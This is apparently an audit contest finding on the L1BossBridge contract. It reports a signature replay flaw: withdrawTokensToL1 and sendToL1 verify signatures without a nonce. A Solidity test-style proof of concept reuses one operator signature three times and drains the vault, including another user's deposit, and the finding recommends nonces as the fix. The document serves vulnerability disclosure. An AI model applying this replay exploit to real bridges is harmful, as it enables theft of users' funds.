The withdrawTokensToL1 and sendToL1 functions of the L1BossBridge contract contain a critical vulnerability related to signature reuse. This issue allows for replay attacks, where the same signature(issued by a verified signer) can be used multiple times to execute transactions, potentially leading to unauthorized withdrawals or token transfers.
The vulnerability arises due to the lack of nonce usage in the signature verification process within the withdrawTokensToL1 function. In the following Proof of Concept (POC), the same signature (v, r, s) is used three times to withdraw tokens from the Vault, demonstrating that signatures are not uniquely tied to a single transaction. This allows attackers to replay transactions, leading to unauthorized actions.
POC:
address deployer = makeAddr("deployer");
address user = makeAddr("user");
address userInL2 = makeAddr("userInL2");
Account operator = makeAccount("operator");
L1Token token;
L1BossBridge tokenBridge;
L1Vault vault;
function setUp() public {
vm.startPrank(deployer);
// Deploy token and transfer the user some initial balance
token = new L1Token();
token.transfer(address(user), 1000e18);
// Deploy bridge
tokenBridge = new L1BossBridge(IERC20(token));
vault = tokenBridge.vault();
// Add a new allowed signer to the bridge
tokenBridge.setSigner(operator.addr, true);
vm.stopPrank();
}
function POC_userCanWithdrawTokensWithSameSignatureMoreThanOnce() public {
address user2 = makeAddr("user2");
vm.startPrank(deployer);
token.transfer(address(user2), 1000e18);
vm.stopPrank();
vm.startPrank(user2);
uint256 depositAmount = 10e18;
uint256 user2InitialBalance = token.balanceOf(address(user2));
token.approve(address(tokenBridge), 2 * depositAmount);
tokenBridge.depositTokensToL2(user2, userInL2, 2 * depositAmount);
assertEq(token.balanceOf(address(vault)), 2 * depositAmount);
assertEq(token.balanceOf(address(user2)), user2InitialBalance - 2 * depositAmount);
vm.stopPrank();
vm.startPrank(user);
uint256 userInitialBalance = token.balanceOf(address(user));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
assertEq(token.balanceOf(address(vault)), depositAmount*3);
assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmount);
bytes memory message = _getTokenWithdrawalMessage(user, depositAmount);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);
//First usage of the signature
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
assertEq(token.balanceOf(address(user)), userInitialBalance);
assertEq(token.balanceOf(address(vault)), 2 * depositAmount);
//Second usage of the signature - note that it can be reused more than twice (there is no limit)
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
assertEq(token.balanceOf(address(user)), userInitialBalance + depositAmount);
assertEq(token.balanceOf(address(vault)), depositAmount);
//Third usage of the signature - note we can use sendToL1 and user withdrew even the tokens of user2
//The vault is completely drained
tokenBridge.sendToL1(v, r, s, message);
assertEq(token.balanceOf(address(user)), userInitialBalance + 2 * depositAmount);
assertEq(token.balanceOf(address(vault)), 0);
}
function _getTokenWithdrawalMessage(address recipient, uint256 amount) private view returns (bytes memory) {
return abi.encode(
address(token), // target
0, // value
abi.encodeCall(IERC20.transferFrom, (address(vault), recipient, amount)) // data
);
}
/**
* Mocks part of the off-chain mechanism where there operator approves requests for withdrawals by signing them.
* Although not coded here (for simplicity), you can safely assume that our operator refuses to sign any withdrawal
* request from an account that never originated a transaction containing a successful deposit.
*/
function _signMessage(
bytes memory message,
uint256 privateKey
)
private
pure
returns (uint8 v, bytes32 r, bytes32 s)
{
return vm.sign(privateKey, MessageHashUtils.toEthSignedMessageHash(keccak256(message)));
}
This vulnerability poses a high risk as it allows malicious actors to repeatedly execute transactions using the same signature. It can lead to the draining of funds from the vault and unauthorized token transfers.
Manual inspection
To mitigate this vulnerability, implement a nonce mechanism for each transaction. Nonces ensure that each signature is unique and can only be used once, effectively preventing replay attacks.
The contest is live. Earn rewards by submitting a finding.
This is your time to appeal against judgements on your submissions.
Appeals are being carefully reviewed by our judges.